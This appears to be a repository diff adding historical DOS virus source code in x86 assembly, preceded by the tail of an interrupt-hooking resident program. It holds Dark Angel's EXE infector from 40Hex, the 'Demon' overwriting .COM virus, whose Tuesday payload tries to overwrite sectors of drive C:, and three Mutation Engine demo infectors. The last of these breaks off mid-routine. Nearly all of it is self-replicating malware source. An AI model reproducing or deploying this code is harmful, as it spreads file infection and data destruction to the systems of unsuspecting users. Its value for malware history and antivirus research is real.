JNE NOTSLSH
|
||||
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
|
||||
MOV CX,ROM_BIOS_DATA
|
||||
MOV DS,CX
|
||||
MOV TAIL,BX ;Erase character from buffer
|
||||
MOV AH,10 ;Get ready to print the character
|
||||
MOV CX,1
|
||||
MOV AL,DL
|
||||
XOR BX,BX ;Display page 0
|
||||
INT 10H ;Print the '/'
|
||||
MOV AH,3 ;Now prepare to move cursor over 1
|
||||
INT 10H ;Get present position
|
||||
ADD DX,1 ;Add 1
|
||||
MOV AH,2 ;And reset cursor
|
||||
INT 10H
|
||||
|
||||
NOTSLSH:CMP DL,'Z' ;For DOS 3+, delete the /Z from buffer
|
||||
JNE NOTZ
|
||||
ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in
|
||||
MOV CX,ROM_BIOS_DATA
|
||||
MOV DS,CX
|
||||
MOV TAIL,BX ;Erase character from the buffer
|
||||
MOV AH,10 ;Prepare to type the 'Z'
|
||||
MOV CX,1
|
||||
MOV AL,DL
|
||||
XOR BX,BX
|
||||
INT 10H
|
||||
MOV AH,3 ;And now adjust the cursor
|
||||
INT 10H ;Moving it to the left 1 space
|
||||
ADD DX,1
|
||||
MOV AH,2
|
||||
INT 10H
|
||||
|
||||
NOTZ: ASSUME DS:CODE_SEG
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
CMP BYTE PTR [SI+1],0
|
||||
JNE NOSET
|
||||
MOV ZERO_FLAG,1
|
||||
MOV COMMAND_INDEX,0
|
||||
NOSET: MOV CR_FLAG,0
|
||||
CMP DX,1C0DH
|
||||
JNE NOCR
|
||||
MOV CR_FLAG,1
|
||||
NOCR: POP DS
|
||||
POP SI
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
IRET
|
||||
READ_KEY ENDP
|
||||
|
||||
LOAD_INT_21H PROC NEAR ;This subroutine installs DELZ
|
||||
|
||||
ASSUME DS:INTERRUPTS ;Now set DS to point to INTERRUPTS seg.
|
||||
MOV AX,INTERRUPTS
|
||||
MOV DS,AX
|
||||
|
||||
MOV AX,KEYBOARD_INT ;Get the old interrupt service routine
|
||||
MOV OLD_KEYBOARD_INT,AX ;address and put it into our location
|
||||
MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it.
|
||||
MOV OLD_KEYBOARD_INT[2],AX
|
||||
|
||||
MOV KEYBOARD_INT,OFFSET READ_KEY
|
||||
MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt
|
||||
|
||||
MOV AX,INT_21H ;Get the original function call INT's
|
||||
MOV OLD_INT_21H,AX ;address and put it into our location
|
||||
MOV AX,INT_21H[2] ;OLD_INT_21H so we can still jump there
|
||||
MOV OLD_INT_21H[2],AX
|
||||
|
||||
MOV INT_21H[2],CS ;Install our delete filter's address
|
||||
MOV INT_21H,OFFSET DELZ ; as new function call INT
|
||||
|
||||
PUSH CS ;Now point to CS in preparation for
|
||||
POP DS ; terminate and stay resident call
|
||||
|
||||
MOV DX,OFFSET LOAD_INT_21H ;Set up everything but LOAD_INT_21H to
|
||||
INT 27H ;stay and attach itself to DOS
|
||||
|
||||
LOAD_INT_21H ENDP ;End of loading subroutine
|
||||
|
||||
CODE_SEG ENDS ;End of Code Segment
|
||||
|
||||
END FIRST ;END "FIRST" so 8088 will go to FIRST first.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,151 @@
|
||||
.model tiny ; Handy TASM directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
; Cheesy EXE infector
|
||||
; Written by Dark Angel of PHALCON/SKISM
|
||||
; For 40Hex Number 8 Volume 2 Issue 4
|
||||
id = 'DA' ; ID word for EXE infections
|
||||
startvirus: ; virus code starts here
|
||||
call next ; calculate delta offset
|
||||
next: pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
push ds
|
||||
push es
|
||||
push cs ; DS = CS
|
||||
pop ds
|
||||
push cs ; ES = CS
|
||||
pop es
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
lea dx,[bp+exe_mask]
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc done_infections ; No mo files found
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
mov ah,3fh ; Read file to buffer
|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,1Ah ; 1Ah bytes
|
||||
int 21h
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||||
jnz infect_exe
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
done_infections:
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
pop es
|
||||
pop ds ; DS->PSP
|
||||
int 21h
|
||||
mov ax,es ; AX = PSP segment
|
||||
add ax,10h ; Adjust for PSP
|
||||
add word ptr cs:[si+jmpsave+2],ax
|
||||
add ax,word ptr cs:[si+stacksave+2]
|
||||
cli ; Clear intrpts for stack manip.
|
||||
mov sp,word ptr cs:[si+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; jmp ssss:oooo
|
||||
jmpsave dd ? ; Original CS:IP
|
||||
stacksave dd ? ; Original SS:SP
|
||||
jmpsave2 dd 0fff00000h ; Needed for carrier file
|
||||
stacksave2 dd ?
|
||||
creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
|
||||
virusname db '[DemoEXE] for 40Hex',0
|
||||
infect_exe:
|
||||
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||||
mov word ptr [bp+jmpsave2], ax
|
||||
mov word ptr [bp+jmpsave2+2], es
|
||||
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||||
mov word ptr [bp+stacksave2], es
|
||||
mov word ptr [bp+stacksave2+2], ax
|
||||
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||||
mov cl, 4 ; convert to bytes
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
les ax, [bp+offset newDTA+26]; Get file size
|
||||
mov dx, es ; to DX:AX
|
||||
push ax
|
||||
push dx
|
||||
sub ax, bx ; Subtract header size from
|
||||
sbb dx, 0 ; file size
|
||||
mov cx, 10h ; Convert to segment:offset
|
||||
div cx ; form
|
||||
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||||
mov word ptr [bp+buffer+16h], ax
|
||||
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||||
mov word ptr [bp+buffer+10h], id
|
||||
pop dx ; get file length
|
||||
pop ax
|
||||
add ax, heap-startvirus ; add virus size
|
||||
adc dx, 0
|
||||
mov cl, 9 ; 2**9 = 512
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax ; filesize in pages
|
||||
pop ax
|
||||
and ah, 1 ; mod 512
|
||||
mov word ptr [bp+buffer+4], dx ; new file size
|
||||
mov word ptr [bp+buffer+2], ax
|
||||
push cs ; restore ES
|
||||
pop es
|
||||
mov cx, 1ah
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
mov al,2
|
||||
call open
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
mov ah,40h ; Concatenate virus
|
||||
lea dx,[bp+startvirus]
|
||||
mov cx,heap-startvirus ; # bytes to write
|
||||
int 21h
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
mo_infections: jmp find_next
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
exe_mask db '*.exe',0
|
||||
heap: ; Variables not in code
|
||||
newDTA db 42 dup (?) ; Temporary DTA
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
end startvirus
|
||||
@@ -0,0 +1,136 @@
|
||||
Dt: 19-Oct-91 04:19
|
||||
|
||||
By: Skin Head
|
||||
To: All
|
||||
Re: New Source Code
|
||||
|
||||
|
||||
;========== Demon virus ==================================== 22.09.91 ========
|
||||
;
|
||||
; Assemble and link with: TASM DEMON.VIR
|
||||
; TLINK DEMON /X/T
|
||||
; Infect all .COM programs in current directory with: DEMON
|
||||
;
|
||||
; !!! NOT ON A TUESDAY !!!
|
||||
;
|
||||
;-------------- Constants and structures
|
||||
|
||||
Tuesday = 2 ; INT 21h, AH=2Ah
|
||||
|
||||
Search_Rec struc ; directory search record
|
||||
db 21 dup (?) ; reserved for DOS
|
||||
FileAttr db ? ; file attribute
|
||||
FileTime dw ? ; packed file time
|
||||
FileDate dw ? ; packed file date
|
||||
FileSize dd ? ; long file size
|
||||
FileName db 13 dup (?) ; ASCIIZ FILENAME.EXT
|
||||
Search_Rec ends
|
||||
|
||||
;-------------- Demon virus segment
|
||||
|
||||
Virus segment
|
||||
assume cs:Virus,ds:Virus,es:Virus,ss:Virus
|
||||
|
||||
org 0080h
|
||||
DTA Search_Rec <> ; disk transfer area
|
||||
|
||||
org 0100h
|
||||
Demon: ; virus entry point
|
||||
Virus_Size = Virus_End - Demon ; virus size = 272 bytes
|
||||
|
||||
mov dx,offset All_COM ; find first .COM file,
|
||||
mov ah,4eh ; including hidden/system
|
||||
mov cx,110bh
|
||||
int 21h
|
||||
nop
|
||||
jnc Infect ; abort if no files found
|
||||
jmp short Check_Day
|
||||
Infect: call Replicate ; overwrite first 272 bytes
|
||||
mov dx,offset DTA
|
||||
mov ah,4fh ; find next .COM file,
|
||||
int 21h ; go check day if none found
|
||||
nop ; else repeat
|
||||
jnc Next_File
|
||||
jmp short Check_Day
|
||||
Next_File: jmp Infect
|
||||
Check_Day: mov ah,2ah ; get DOS date, check day
|
||||
int 21h
|
||||
cmp al,Tuesday ; Tuesday ?
|
||||
je Thrash_Drive ; if yes, thrash drive C:
|
||||
mov ah,4ch ; else exit to DOS
|
||||
int 21h
|
||||
|
||||
Thrash_Drive: mov Counter,0 ; overwrite first 160 sectors
|
||||
jmp Write_Sectors ; of drive C: with garbage
|
||||
Write_Sectors: mov al,Drive_C ; Error: doesn't work !
|
||||
mov cx,160 ; AL=C:, CX=160 sectors
|
||||
mov dx,0 ; DX=highest sector in drive !
|
||||
mov bx,0 ; DS:BX=start of PSP area
|
||||
int 26h ; overwrite sectors
|
||||
inc Counter
|
||||
cmp Counter,10 ; repeat 10 times
|
||||
je Show_Msg
|
||||
jne Write_Sectors
|
||||
Show_Msg: mov ah,09h ; show a fake error message
|
||||
mov dx,offset Virus_Msg ; and exit to DOS
|
||||
int 21h
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
|
||||
Replicate: mov dx,offset DTA.FileName ; save file attribute
|
||||
mov ax,4300h
|
||||
int 21h
|
||||
mov COM_Attr,cx
|
||||
nop
|
||||
xor cx,cx ; unprotect the .COM file
|
||||
mov ax,4301h ; in case it's read-only
|
||||
int 21h
|
||||
nop
|
||||
mov ax,3d02h ; open .COM file for R/W,
|
||||
int 21h ; abort on error
|
||||
nop
|
||||
jc Check_Day
|
||||
mov bx,ax ; BX = file handle
|
||||
mov ax,5700h
|
||||
int 21h ; save file date and time
|
||||
nop
|
||||
mov COM_Time,cx
|
||||
mov COM_Date,dx
|
||||
mov dx,offset Demon ; overwrite first 272 bytes
|
||||
mov ah,40h ; of .COM program file
|
||||
mov cx,Virus_Size ; with the virus code
|
||||
int 21h
|
||||
nop
|
||||
mov ax,5701h ; restore file date and time
|
||||
mov dx,COM_Date
|
||||
mov cx,COM_Time
|
||||
int 21h
|
||||
mov ah,3eh ; close the file
|
||||
int 21h
|
||||
nop
|
||||
mov dx,offset DTA.FileName ; restore file attribute
|
||||
mov cx,COM_Attr
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
retn
|
||||
|
||||
All_COM db '*.COM',0 ; dir search specification
|
||||
COM_Date dw 0 ; packed .COM program date
|
||||
COM_Time dw 0 ; packed .COM program time
|
||||
COM_Attr dw 0 ; .COM program file attribute
|
||||
Counter db 0 ; used when thrashing drive C:
|
||||
Drive_C db 2 ; INT 26h C: drive number
|
||||
dw 0
|
||||
Copyright db 'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
|
||||
dw 0
|
||||
Virus_Msg db 10,13,'Error eating drive C:',10,13,'$'
|
||||
|
||||
Virus_End label byte ; virus code+data end
|
||||
|
||||
Virus ends
|
||||
end Demon
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,196 @@
|
||||
|
||||
; This is a demo virus to demonstrate
|
||||
; the Mutation Engine <tm> usage
|
||||
|
||||
; Version 1.01 (26-10-91)
|
||||
; (C) 1991 Dark Avenger.
|
||||
|
||||
; De-Fanged for experimentation by Mark Ludwig 3/24/93
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
extrn mut_engine: near, rnd_get: near, rnd_init: near
|
||||
extrn rnd_buf: word, data_top: near
|
||||
|
||||
org 100
|
||||
|
||||
start:
|
||||
call locadr
|
||||
locadr:
|
||||
pop dx
|
||||
mov cl,4
|
||||
shr dx,cl
|
||||
sub dx,10
|
||||
mov cx,ds
|
||||
add cx,dx ;Calculate new CS
|
||||
mov dx,offset begin
|
||||
push cx dx
|
||||
retf
|
||||
begin:
|
||||
cld
|
||||
mov di,offset start
|
||||
push es di
|
||||
push cs
|
||||
pop ds
|
||||
push ax
|
||||
mov dx,offset dta_buf ;Set DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
xor ax,ax ;Initialize random seed
|
||||
mov [rnd_buf],ax
|
||||
call rnd_init
|
||||
mov dx,offset srchnam
|
||||
mov cl,3
|
||||
mov ah,4e
|
||||
find_lup:
|
||||
int 21 ;Find the next COM file
|
||||
jc infect_done
|
||||
call isinf ;see if infected
|
||||
jnz infect ;If not infected, infect it now
|
||||
find_nxt:
|
||||
mov dx,offset dta_buf
|
||||
mov ah,4f
|
||||
jmp find_lup
|
||||
infect_done:
|
||||
push cs
|
||||
pop ds
|
||||
push ss
|
||||
pop es
|
||||
mov di,offset start
|
||||
mov si,offset oold_cod
|
||||
movsb ;Restore first 3 bytes
|
||||
movsw
|
||||
push ss
|
||||
pop ds
|
||||
mov dx,80 ;Restore DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
pop ax
|
||||
retf
|
||||
|
||||
|
||||
infect:
|
||||
xor cx,cx ;Reset read-only attribute
|
||||
mov dx,offset dta_buf+1e
|
||||
mov ax,4301
|
||||
int 21
|
||||
jc infect_done
|
||||
mov ax,3d02 ;Open the file
|
||||
int 21
|
||||
jc infect_done
|
||||
xchg ax,bx
|
||||
mov ax,WORD PTR [old_cod]
|
||||
mov WORD PTR [oold_cod],ax
|
||||
mov al,BYTE PTR [old_cod+2]
|
||||
mov BYTE PTR [oold_cod+2],al
|
||||
mov dx,offset old_cod ;Read first 3 bytes
|
||||
mov cx,3
|
||||
mov ah,3f
|
||||
int 21
|
||||
jc read_done
|
||||
xor cx,cx ;Seek at EOF
|
||||
xor dx,dx
|
||||
mov ax,4202
|
||||
int 21
|
||||
test dx,dx ;Make sure the file is not too big
|
||||
jnz read_done
|
||||
cmp ax,-2000
|
||||
jnc read_done
|
||||
mov bp,ax
|
||||
sub ax,3
|
||||
mov word ptr [new_cod+1],ax
|
||||
mov ax,cs
|
||||
add ax,1000H
|
||||
mov es,ax
|
||||
mov dx,offset start
|
||||
mov cx,offset _DATA
|
||||
push bp bx
|
||||
add bp,dx
|
||||
xor si,si
|
||||
xor di,di
|
||||
mov bl,0f
|
||||
mov ax,101
|
||||
call mut_engine
|
||||
pop bx ax
|
||||
add ax,cx ;Make sure file length mod 256 = 0
|
||||
neg ax
|
||||
xor ah,ah
|
||||
add cx,ax
|
||||
mov ah,40 ;Put the virus into the file
|
||||
int 21
|
||||
push cs
|
||||
pop ds
|
||||
jc write_done
|
||||
sub cx,ax
|
||||
jnz write_done
|
||||
xor dx,dx ;Put the JMP instruction
|
||||
mov ax,4200
|
||||
int 21
|
||||
mov dx,offset new_cod
|
||||
mov cx,3
|
||||
mov ah,40
|
||||
int 21
|
||||
jmp write_done
|
||||
read_done:
|
||||
mov ah,3e ;Close the file
|
||||
int 21
|
||||
jmp infect_done
|
||||
write_done:
|
||||
mov ax,5700H ;get date & time on file
|
||||
int 21H
|
||||
push dx
|
||||
mov ax,cx ;fix it
|
||||
xor ax,dx
|
||||
mov cx,0A
|
||||
xor dx,dx
|
||||
div cx
|
||||
mul cx
|
||||
add ax,3
|
||||
pop dx
|
||||
xor ax,dx
|
||||
mov cx,ax
|
||||
mov ax,5701H ;and save it
|
||||
int 21H
|
||||
jmp read_done
|
||||
|
||||
;determine if file is infected
|
||||
isinf:
|
||||
mov dx,offset dta_buf+1e
|
||||
mov ax,3d02 ;Open the file
|
||||
int 21
|
||||
mov bx,ax
|
||||
mov ax,5700H ;get file attribute
|
||||
int 21H
|
||||
mov ax,cx
|
||||
xor ax,dx ;date xor time mod 10 = 3 for infected file
|
||||
xor dx,dx
|
||||
mov cx,0A
|
||||
div cx
|
||||
cmp dx,3
|
||||
pushf
|
||||
mov ah,3e ;Close the file
|
||||
int 21
|
||||
popf
|
||||
ret
|
||||
|
||||
|
||||
srchnam db '*.COM',0
|
||||
|
||||
old_cod: ;Buffer to read first 3 bytes
|
||||
ret
|
||||
dw 55AA
|
||||
|
||||
oold_cod: ;old old code
|
||||
db 0,0,0
|
||||
|
||||
new_cod: ;Buffer to write first 3 bytes
|
||||
jmp $+100
|
||||
|
||||
.data
|
||||
|
||||
dta_buf db 2bh dup(?) ;Buffer for DTA
|
||||
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,205 @@
|
||||
|
||||
; This is a demo virus to demonstrate
|
||||
; the Mutation Engine <tm> usage
|
||||
|
||||
; Version 1.01 (26-10-91)
|
||||
; (C) 1991 Dark Avenger.
|
||||
|
||||
; De-Fanged for experimentation by Mark Ludwig 3/24/93
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
extrn mut_engine: near, rnd_get: near, rnd_init: near
|
||||
extrn rnd_buf: word, data_top: near
|
||||
|
||||
org 100
|
||||
|
||||
start:
|
||||
call locadr
|
||||
locadr:
|
||||
pop dx
|
||||
mov cl,4
|
||||
shr dx,cl
|
||||
sub dx,10
|
||||
mov cx,ds
|
||||
add cx,dx ;Calculate new CS
|
||||
mov dx,offset begin
|
||||
push cx dx
|
||||
retf
|
||||
begin:
|
||||
cld
|
||||
mov di,offset start
|
||||
push es di
|
||||
push cs
|
||||
pop ds
|
||||
push ax
|
||||
mov dx,offset dta_buf ;Set DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
xor ax,ax ;Initialize random seed
|
||||
mov [rnd_buf],ax
|
||||
call rnd_init
|
||||
mov dx,offset srchnam
|
||||
mov cl,3
|
||||
mov ah,4e
|
||||
find_lup:
|
||||
int 21 ;Find the next COM file
|
||||
jc infect_done
|
||||
call isinf ;see if infected
|
||||
jnz infect ;If not infected, infect it now
|
||||
find_nxt:
|
||||
mov dx,offset dta_buf
|
||||
mov ah,4f
|
||||
jmp find_lup
|
||||
infect_done:
|
||||
push cs
|
||||
pop ds
|
||||
push ss
|
||||
pop es
|
||||
mov di,offset start
|
||||
mov si,offset oold_cod
|
||||
movsb ;Restore first 3 bytes
|
||||
movsw
|
||||
push ss
|
||||
pop ds
|
||||
mov dx,80 ;Restore DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
pop ax
|
||||
retf
|
||||
|
||||
|
||||
infect:
|
||||
xor cx,cx ;Reset read-only attribute
|
||||
mov dx,offset dta_buf+1e
|
||||
mov ax,4301
|
||||
int 21
|
||||
jc infect_done
|
||||
mov ax,3d02 ;Open the file
|
||||
int 21
|
||||
jc infect_done
|
||||
xchg ax,bx
|
||||
mov ax,WORD PTR [old_cod]
|
||||
mov WORD PTR [oold_cod],ax
|
||||
mov al,BYTE PTR [old_cod+2]
|
||||
mov BYTE PTR [oold_cod+2],al
|
||||
mov dx,offset old_cod ;Read first 3 bytes
|
||||
mov cx,3
|
||||
mov ah,3f
|
||||
int 21
|
||||
jc read_done
|
||||
xor cx,cx ;Seek at EOF
|
||||
xor dx,dx
|
||||
mov ax,4202
|
||||
int 21
|
||||
test dx,dx ;Make sure the file is not too big
|
||||
jnz read_done
|
||||
cmp ax,-2000
|
||||
jnc read_done
|
||||
mov bp,ax
|
||||
add bp,30
|
||||
sub ax,3
|
||||
mov word ptr [new_cod+1],ax
|
||||
mov ax,cs
|
||||
add ax,1000H
|
||||
mov es,ax
|
||||
mov dx,offset start
|
||||
mov cx,offset _DATA
|
||||
push bp bx
|
||||
add bp,dx
|
||||
xor si,si
|
||||
xor di,di
|
||||
mov bl,0f
|
||||
mov ax,101
|
||||
call mut_engine
|
||||
add cx,30
|
||||
sub dx,30
|
||||
mov di,dx
|
||||
push cx
|
||||
mov cx,18 ;put mul cx in 18H times
|
||||
mov ax,0E1F7
|
||||
rep stosw
|
||||
pop cx
|
||||
pop bx ax
|
||||
add ax,cx ;Make sure file length mod 256 = 0
|
||||
neg ax
|
||||
xor ah,ah
|
||||
add cx,ax
|
||||
mov ah,40 ;Put the virus into the file
|
||||
int 21
|
||||
push cs
|
||||
pop ds
|
||||
jc write_done
|
||||
sub cx,ax
|
||||
jnz write_done
|
||||
xor dx,dx ;Put the JMP instruction
|
||||
mov ax,4200
|
||||
int 21
|
||||
mov dx,offset new_cod
|
||||
mov cx,3
|
||||
mov ah,40
|
||||
int 21
|
||||
jmp write_done
|
||||
read_done:
|
||||
mov ah,3e ;Close the file
|
||||
int 21
|
||||
jmp infect_done
|
||||
write_done:
|
||||
mov ax,5700H ;get date & time on file
|
||||
int 21H
|
||||
push dx
|
||||
mov ax,cx ;fix it
|
||||
xor ax,dx
|
||||
mov cx,0A
|
||||
xor dx,dx
|
||||
div cx
|
||||
mul cx
|
||||
add ax,3
|
||||
pop dx
|
||||
xor ax,dx
|
||||
mov cx,ax
|
||||
mov ax,5701H ;and save it
|
||||
int 21H
|
||||
jmp read_done
|
||||
|
||||
;determine if file is infected
|
||||
isinf:
|
||||
mov dx,offset dta_buf+1e
|
||||
mov ax,3d02 ;Open the file
|
||||
int 21
|
||||
mov bx,ax
|
||||
mov ax,5700H ;get file attribute
|
||||
int 21H
|
||||
mov ax,cx
|
||||
xor ax,dx ;date xor time mod 10 = 3 for infected file
|
||||
xor dx,dx
|
||||
mov cx,0A
|
||||
div cx
|
||||
cmp dx,3
|
||||
pushf
|
||||
mov ah,3e ;Close the file
|
||||
int 21
|
||||
popf
|
||||
ret
|
||||
|
||||
|
||||
srchnam db '*.COM',0
|
||||
|
||||
old_cod: ;Buffer to read first 3 bytes
|
||||
ret
|
||||
dw 55AA
|
||||
|
||||
oold_cod: ;old old code
|
||||
db 0,0,0
|
||||
|
||||
new_cod: ;Buffer to write first 3 bytes
|
||||
jmp $+100
|
||||
|
||||
.data
|
||||
|
||||
dta_buf db 2bh dup(?) ;Buffer for DTA
|
||||
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,214 @@
|
||||
|
||||
; This is a demo virus to demonstrate
|
||||
; the Mutation Engine <tm> usage
|
||||
|
||||
; Version 1.01 (26-10-91)
|
||||
; (C) 1991 Dark Avenger.
|
||||
|
||||
; De-Fanged for experimentation by Mark Ludwig 3/24/93
|
||||
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
extrn mut_engine: near, rnd_get: near, rnd_init: near
|
||||
extrn rnd_buf: word, data_top: near
|
||||
|
||||
org 100
|
||||
|
||||
start:
|
||||
call locadr
|
||||
locadr:
|
||||
pop dx
|
||||
mov cl,4
|
||||
shr dx,cl
|
||||
sub dx,10
|
||||
mov cx,ds
|
||||
add cx,dx ;Calculate new CS
|
||||
mov dx,offset begin
|
||||
push cx dx
|
||||
retf
|
||||
begin:
|
||||
cld
|
||||
mov di,offset start
|
||||
push es di
|
||||
push cs
|
||||
pop ds
|
||||
push ax
|
||||
mov dx,offset dta_buf ;Set DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
xor ax,ax ;Initialize random seed
|
||||
mov [rnd_buf],ax
|
||||
call rnd_init
|
||||
mov dx,offset srchnam
|
||||
mov cl,3
|
||||
mov ah,4e
|
||||
find_lup:
|
||||
int 21 ;Find the next COM file
|
||||
jc infect_done
|
||||
call isinf ;see if infected
|
||||
jnz infect ;If not infected, infect it now
|
||||
find_nxt:
|
||||
mov dx,offset dta_buf
|
||||
mov ah,4f
|
||||
jmp find_lup
|
||||
infect_done:
|
||||
push cs
|
||||
pop ds
|
||||
push ss
|
||||
pop es
|
||||
mov di,offset start
|
||||
mov si,offset oold_cod
|
||||
movsw ;Restore first 12 bytes
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
push ss
|
||||
pop ds
|
||||
mov dx,80 ;Restore DTA
|
||||
mov ah,1a
|
||||
int 21
|
||||
pop ax
|
||||
retf
|
||||
|
||||
infect:
|
||||
xor cx,cx ;Reset read-only attribute
|
||||
mov dx,offset dta_buf+1e
|
||||
mov ax,4301
|
||||
int 21
|
||||
jc infect_done
|
||||
mov ax,3d02 ;Open the file
|
||||
int 21
|
||||
jc infect_done
|
||||
xchg ax,bx
|
||||
mov ax,WORD PTR [old_cod]
|
||||
mov WORD PTR [oold_cod],ax
|
||||
mov ax,WORD PTR [old_cod+2]
|
||||
mov WORD PTR [oold_cod+2],ax
|
||||
mov ax,WORD PTR [old_cod+4]
|
||||
mov WORD PTR [oold_cod+4],ax
|
||||
mov ax,WORD PTR [old_cod+6]
|
||||
mov WORD PTR [oold_cod+6],ax
|
||||
mov ax,WORD PTR [old_cod+8]
|
||||
mov WORD PTR [oold_cod+8],ax
|
||||
mov ax,WORD PTR [old_cod+0A]
|
||||
mov WORD PTR [oold_cod+0A],ax
|
||||
mov dx,offset old_cod ;Read first 12 bytes
|
||||
mov cx,0C
|
||||
mov ah,3f
|
||||
int 21
|
||||
jc read_done
|
||||
xor cx,cx ;Seek at EOF
|
||||
xor dx,dx
|
||||
mov ax,4202
|
||||
int 21
|
||||
test dx,dx ;Make sure the file is not too big
|
||||
jnz read_done
|
||||
cmp ax,-2000
|
||||
jnc read_done
|
||||
mov bp,ax
|
||||
sub ax,7
|
||||
mov word ptr [new_cod+5],ax
|
||||
mov ax,cs
|
||||
add ax,1000H
|
||||
mov es,ax
|
||||
mov dx,offset start
|
||||
mov cx,offset _DATA
|
||||
push bp bx
|
||||
add bp,dx
|
||||
xor si,si
|
||||
xor di,di
|
||||
mov bl,0f
|
||||
mov ax,101
|
||||
call mut_engine
|
||||
mov di,dx
|
||||
pop bx ax
|
||||
add ax,cx ;Make sure file length mod 256 = 0
|
||||
neg ax
|
||||
xor ah,ah
|
||||
add cx,ax
|
||||
mov ah,40 ;Put the virus into the file
|
||||
int 21
|
||||
push cs
|
||||
pop ds
|
||||
jc write_done
|
||||
sub cx,ax
|
||||
jnz write_done
|
||||
xor dx,dx ;Put the JMP instruction
|
||||
mov ax,4200
|
||||
int 21
|
||||
mov dx,offset new_cod
|
||||
mov cx,0C
|
||||
mov ah,40
|
||||
int 21
|
||||
jmp write_done
|
||||
read_done:
|
||||
mov ah,3e ;close the file
|
||||
int 21
|
||||
jmp infect_done
|
||||
write_done:
|
||||
mov ax,5700H ;get date & time on file
|
||||
int 21H
|
||||
push dx
